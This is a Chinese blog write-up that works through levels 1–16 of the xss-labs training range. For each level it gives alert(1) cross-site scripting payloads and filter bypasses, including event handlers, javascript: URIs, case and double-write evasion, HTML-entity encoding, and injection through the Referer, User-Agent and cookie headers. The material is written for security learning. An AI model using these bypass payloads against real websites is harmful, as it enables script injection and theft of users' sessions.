xss-labs靶场复现流程

xss简单介绍

XSS,全称跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击方式。它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。这些恶意脚本可以在用户的浏览器上运行,窃取用户的会话信息(如登录凭证)、破坏网页内容、劫持用户会话等。

XSS攻击可以分为以下几类:

  1. 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言板等。当浏览器访问这些存储了恶意脚本的资源时,恶意脚本将随资源一同被加载。

  2. 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这通常涉及到欺骗用户点击链接、访问恶意网站等。

  3. 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不涉及服务器的响应。攻击者利用网站上的DOM缺陷来注入恶意脚

level1——直接注入

传入的参数插入了html中。所以是一个简单的直接注入。

直接上payload,插入一段js代码,get传参

<script>alert(1)</script>

level2——闭合绕过

f12查看页面源代码

沿用上一关的payload尝试,发现我们的<script>标签被调用到了value里面。没有起作用。要闭合input标签

所以payload是

"><script>alert(1)</script>

总结:”闭合绕过

leve3——利用鼠标特性,尖括号被实体化了

f12我们发现页面源代码中是',所以我下面的思路是进行单引号绕过

payload:'><script>alert( )</script>

发现这里的尖括号全部被实体化编码了。

因为一些尖括号都被编码了,那我们要用onclick,onfocus这些来进行交互绕过。

payload是下面的

'onclick='alert(1)
'onfocus='alert(1)  #这个payload会一直出现弹窗

总结:但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus和onclick事件绕过。

onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,

level4——也是鼠标的特性

payload

"onclick="alert(1)

总结:这一关的思路是和第三关是一样的。用的是双引号闭合前面的内容。

level5——绕过元素

用上一关的payload尝试查看,发现对onclick进行了一点过滤。

所以我们要用其他的payload。

这里我们要学习java的伪协议,javascript:alert(1)用到了Java的伪协议。就是把javascript: :后面的代码当JavaScript来执行这里要用到a标签,或者iframe标签

payload如下

"><a href=javascript:alert(1)>xss</a>
"><iframe src=javascript:alert(1)>xss</iframe>

点击那个xss就会触发xss。

如果你用的是iframe标签的payload,这个能直接触发xss。但是不能够通过这一关。

level6——大写绕过

先测试关键字: 主要目的是看网站对一些关键字的过滤情况。

?keyword=" ' sRc href DaTa OnFocus oonnclick Onclick OnmOuseOver OnMouseDoWn P <sCriPt> <a 

看到的过滤情况是小写情况被过滤了,大写情况没有被过滤。所以我们的思路是进行大写绕过。

payload

"><scRipt>alert(1)</scRipt> #闭合直接注入
"Onclick="alert(1)   #用到第三关鼠标的一个特性,这里不能用>对前面的<input进行闭合。
"><a hRef:"javascript=alert(1)">

level7——双写绕过

首先我们看到输入框中的东西传到了后端。然后在输入框中进行关键字的测试。

我们可以看到script和onclick中的一些东西被过滤掉了。然后下面我们的思路是进行双写绕过。

因为我们的测试关键字中有oonnclick,后端的形式是onclick

构造的payload

"><scscriptript>alert(1)</scscriptript> #闭合直接注入
"oonnclick="alert(1)   #用到第三关鼠标的一个特性,这里不能用>对前面的<input进行闭合。

level8

关键字测试,我们发现这里好多的关键字都被过滤掉了。这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞)

编码网站:HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn)

要编码的payload:javascript:alert(1)

编码过的payload:&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

将这个payload输入输入框中,然后点击友情链接就能够通关。

level9

这一关是涌level8一样的解决方案,但是这一关必须要去看源代码中的东西。后面必须要有http://,要不然无法进入到友情链接那里。

<?php
$str7 = 'your_string_here'; // 示例字符串,需替换成实际变量

if (false === strpos($str7, 'http://')) {
    echo '<center><BR><a href="#">你的链接不合法</a></center>';
} else {
    echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}
?>
<center><img src="level9.png"></center>

构造的payload

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

level10

我们发现input标签中的type类型被隐藏了。我们下面的思路就是样input标签显示出来

 这里面有三个类似可以传参的东西:t_link,t_history,t_sort。

一一检查发现只有t_sort可以传入东西,所以t_sort这里是一个注入点。

用直接注入的payload:<script>alert(1)</script> 要闭合前面的东西和后面的标签

即:

"><script>alert(1)</script>"<

发现这里对<和>进行了过滤删除。所以不能用包含<的payload

故要寻找新的payload

这里我们可以看到type类型都是hidden(隐藏)的。

所以我们的绕过思路就是,要能够触发xss,并且能够将其显示出来。

那我们就想到了onclick这个点击动作,不包含尖括号。

payload(这个payload要在url中输入)

?t_sort="type="text" onclick="alert(1)>

xss注入成功。

level11

F12发现也是进行了隐藏了标签。并且注入点t_sort中的内容会拼接了t_ref中的url中。

发现是对”和<的html实体编码了,就是过滤掉了

这一关的思路是修改referer头,用bp进行抓包进行修改数据包中的内容。

因为我们上面用了上一关的payload发现这个注入点过滤了很多的东西。但是我们又看到了t_ref这里发现这个页面是由levl10那个页面转来的,所以我们下一个注入思路就在这里,要了解referer头的作用,bp抓包,把payload:”type=”text” οnclick=”alert(1)>放到referer中进行放包。

Referer头(有时拼写为Referrer)是HTTP请求头中的一个字段,主要用于告诉服务器发起请求的源头是哪个URL。当用户点击一个链接访问一个网页时,浏览器通常会将这个链接的URL作为Referer头发送给目标服务器,表明用户是从哪个页面来到这个页面的。

level12

与level11是同样额思路,这里源代码中有明显的UA头特征,我们就要用bp抓包,修改UA头中的内容为”type=”text” οnclick=”alert(1)>

放包后就能够通关。

level13

和上面两关都是同样的思路。

进行修改数据包中cookie中的东西。

payload

”type=”text” onclick=”alert(1)>

level14

无法解决,因为网站失效。故放弃。

level15

可以看到这儿有个陌生的东西ng-include

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

所以这一关就是要调用前面关卡的页面,然后用可触发的标签来进行xss注入。

绕过了实体编码过滤。

Payload:?src=’level1.php?name=<a οnclick="alert(1)">牛逼</a>’

对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用a标签,可参考XSS常见的触发标签,构造payload

level16

先测试关键字:?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j

看看都进行过滤了什么东西。

然后我们选用回车编码(%0a)来绕过空格

payload

<svg%0aonload=alert(1)>
<a%0aonclick=alert(1)>
<input%0atype=”text”%0aonclick=alert(1)>

下面几关有的要用到flash插件,我的电脑浏览器不支持,就放弃了。还有的要用到反编译,我还没有涉及。非常抱歉,只能做到这里了。还在努力学习中,希望大家都能够动动手去做。如果本篇文章有什么问题请大家批评指正。谢谢大家。 

 

 

  • 29
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值